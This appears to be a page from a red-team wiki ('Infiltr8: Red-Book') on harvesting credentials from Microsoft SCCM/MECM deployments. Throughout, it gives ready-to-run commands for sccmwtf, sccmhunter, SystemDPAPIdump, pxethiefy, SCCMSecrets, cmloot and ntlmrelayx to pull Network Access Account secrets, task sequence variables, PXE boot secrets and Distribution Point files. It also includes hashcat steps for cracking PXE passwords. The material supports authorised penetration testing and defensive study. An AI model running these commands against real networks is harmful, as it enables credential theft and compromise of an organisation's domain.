Infiltr8: Red-Book
Active Directory PentestingMovementSCCM / MECM

Credential Harvesting

Recovering SCCM credentials from clients, policies and distribution points

Theory

Several SCCM components hold credentials a low-privileged account can reach. They fall into three groups:

SourceHoldsAccess typically needed
Secret policiesNetwork Access Accounts, task sequences, collection variablesa domain account, or local access to a client
PXE/OSDboot media and deployment credentialsnetwork access to the PXE service
Distribution Pointsfiles referenced by policies: scripts, configs, certificatesany domain account, sometimes none

Practice

The following SCCM components can be found on SCCM clients and may contain credentials

  • Device Collection variables
  • TaskSequence variables
  • Network Access Accounts (NAAs)
  • Client Push Accounts
  • Application & Scripts (potentially)

Find more details about these components in this blog post.

Network Access Accounts (NAAs)

NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. To do this, the SCCM server sends the NAA policy to the machine, which will store the credentials encrypted by DPAPI on the disk. The credentials can be retrieved by requesting the WMI class in the CIM store in a binary file on the disk.

NAA doesn't need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts.

It is worth to note that, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers.

SystemDPAPIdump

From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, SystemDPAPIdump.py (Python) can be used to decipher via DPAPI the WMI blob related to SCCM and retrieve the stored credentials. Additionally, the tool can also extract SYSTEM DPAPI credentials.

SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAIN

Manually

The sccmwtf / SCCMHunter http route only recovers Network Access Account secrets and may fail on recent SCCM builds, where the policy secret encryption changed. On modern hierarchies prefer the DPAPI, PXE/OSD or Distribution Point routes below.

On the other hand, it is possible, from a controlled computer account, to manually request the SCCM policy and retrieve the NAAs inside.

The tool author (Adam Chester) warns not to use this script in production environments.

Step 1: Gain control over a computer account password.

For this step, it is possible to create a new computer account (if permited by the domain policy), instead of compromise a domain computer.

addcomputer.py -dc-ip $DC -computer-name controlledComputer$ -computer-pass controlledPassword $DOMAIN/$USER:$PASSWORD

Step 2: Use sccmwtf.py to extract NAA secrets

A controlled computer account is needed to send the authenticated request (this is why a computer account has been created previously) to retrieve the policy, but the account to spoof doesn't need to be the same.

Here, $SCCM_MP_NetBiosName takes the value of the SCCM Management Point server NETBIOS name.

sccmwtf.py fakepc fakepc.$DOMAIN $SCCM_MP_NetBiosName "$DOMAIN\controlledComputer$" "controlledPassword"

Step 3: Obtain obfuscated NAA secrets

The obufscated NAA secrets will be saved in a local file.

cat /tmp/naapolicy.xml

Values to decode are the long hexadecimal strings in the CDATA sections (<![CDATA[String_here]).

Step 4: Decode obfuscated strings

To decode username and password use .\DeobfuscateSecretString.exe contained in SharpSCCM or sccmwtf

policysecretdecrypt.exe $HEX_STRING

SCCMHunter

HTTP

Alternatively, sccmhunter (Python) automates all the attack with, or without, an already controlled computer accounts. For this purpose, the http module uses the result from the find command and enumerates the remote hosts for SCCM/MECM enrollment web services. If it finds one, it performs Adam Chester's attack for the specified computer account. If no account is already under control, the -auto flag can be indicated to create a new computer account.

#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IP

DPAPI

sccmhunter (Python) DPAPI's module can also be used, with valid credentials for a local administrator on the target system, to remotely extract NAA credentials located in the local WMI repository.

# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi

# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -disk

TaskSequence variables

TaskSequence are steps that can be configured by an administrator to perform specific actions, for example "Sequence for adding a machine to the domain". Think of it as a script that runs. These TaskSequences can contain variables that can contain credentials. These sequences can use device collection variables (presented in the next section) as conditions.

From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, sccmhunter (Python) can be used to extract the TaskSequence variables remotely.

# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi

# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -disk

Device Collection variables

Devices enrolled in an SCCM environment can be grouped by collection. These exist by default, but administrators can create custom collections (for example "Server 2012 devices"), and add variables for these collections that will be used, for example, during application deployement to check some conditions. These variables may very well contain credentials and be found locally on the clients.

From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, sccmhunter (Python) can be used to extract the TaskSequence variables remotely.

# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi

# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -disk

PXE/OSD (Operating System Deployment)

Credential harvesting

The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.

Several secrets could be retreived from Operating System Deployment (OSD)

  • Collection variables
  • Account to write image to SMB share
  • Account to pull files from SMB share
  • Set local admin password
  • Run arbitrary command
  • Account to join the domain (Apply Network Settings)

No Password

Without PXE password protection, we can use pxethiefy.py (Python) as follow, to extract secrets from the Operating System Deployment.

sudo python3 pxethiefy.py explore -i eth0

Password Protected

If a PXE password is set, we can use pxethiefy.py (Python) as follow. It will automaticly download encrypted files and extract the hash.

sudo python3 pxethiefy.py explore -i eth0

We can then try to crack it using Christopher Panayi’s hashcat module.

# Seting up Hashcat 
cd /workspace
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
git checkout -b v6.2.5 tags/v6.2.5
make

# Crack the hash
hashcat/hashcat -m 19850 --force -a 0 /workspace/pxe_hash /usr/share/wordlists/rockyou.txt

Decrypt the file using the found password

pxethiefy.py decrypt -p "password" -f ./2023.05.05.10.43.44.0001.{85CA0850-35DC-4A1F-A0B8-8A546B317DD1}.boot.var

Misconfiguration

If "Enable command support" is enabled, we can spawn a shell during OS deployment by pressing F8.

Secret policies (rogue device)

Rather than decrypting a single NAA blob, SCCMSecrets.py (Python) registers a rogue device with the Management Point and pulls all the secret policies it is served (NAAs, task sequences, collection variables). See Synacktiv's SCCMSecrets.py write-up.

# Register a new device and dump the secret policies (HTTP)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"

# HTTPS with a client certificate
python3 SCCMSecrets.py policies -mp "https://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice" --pki-cert ./cert.pem --pki-key ./key.pem

# Reuse an already-compromised device (its key.pem + guid.txt live in compromised_device/)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" --use-existing-device compromised_device/

The device-registration request can also be obtained by NTLM relay (CRED-8): coerce a machine account and relay it to the Management Point policy endpoint.

ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug

Distribution Point resources

Policies reference resources hosted on a Distribution Point: applications and OS images, but also configuration files, PowerShell scripts, certificates and anything else that may carry credentials.

By default any authenticated domain user can retrieve them, which makes this one of the cheapest wins in an SCCM environment. Distribution Points serve over SMB and HTTP.

Administrators sometimes misconfigure a Distribution Point to allow anonymous access. That only works over HTTP: retrieving resources over SMB always requires authentication, even when anonymous access is configured.

A Distribution Point may also enforce HTTPS, in which case client certificate authentication with a domain PKI certificate is required.

HTTP

SCCMSecrets.py (Python) indexes and downloads files from Distribution Points. Omitting credentials attempts the anonymous-access path; HTTPS and client authentication are both supported.

# Try anonymous access to index and download files
python3 SCCMSecrets.py files -dp http://$DP_IP

# Download only interesting extensions
python3 SCCMSecrets.py files -dp http://$DP_IP -u "$USER" -H "$HASH" \
  --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

# Having indexed first, download a specific set
python3 SCCMSecrets.py files -dp http://$DP_IP -u "$USER" -p "$PASSWORD" --urls to_download.lst

# Over HTTPS with client certificate authentication
python3 SCCMSecrets.py files -dp https://$DP_IP -u "$USER" -p "$PASSWORD" \
  --pki-cert ./cert.pem --pki-key ./key.pem

Where anonymous access is enabled, sccm-http-looter (Go) does the same job and is typically faster.

./sccm-http-looter -server 10.10.10.10

The attack also works through NTLM relay when a domain account's authentication can be relayed.

ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug

SMB

cmloot.py (Python) dumps files over SMB.

# Enumerate SCCM servers, build an inventory and download
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers \
  -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt

Resources

www.securesystems.dewww.securesystems.de Push Comes To Shove: exploring the attack surface of SCCM Client Push Accountswww.hub.trimarcsecurity.com posts.specterops.ioposts.specterops.io Exploring SCCM by Unobfuscating Network Access Accountsblog.xpnsec.com posts.specterops.ioposts.specterops.io posts.specterops.ioposts.specterops.io posts.specterops.ioposts.specterops.io posts.specterops.ioposts.specterops.io

On this page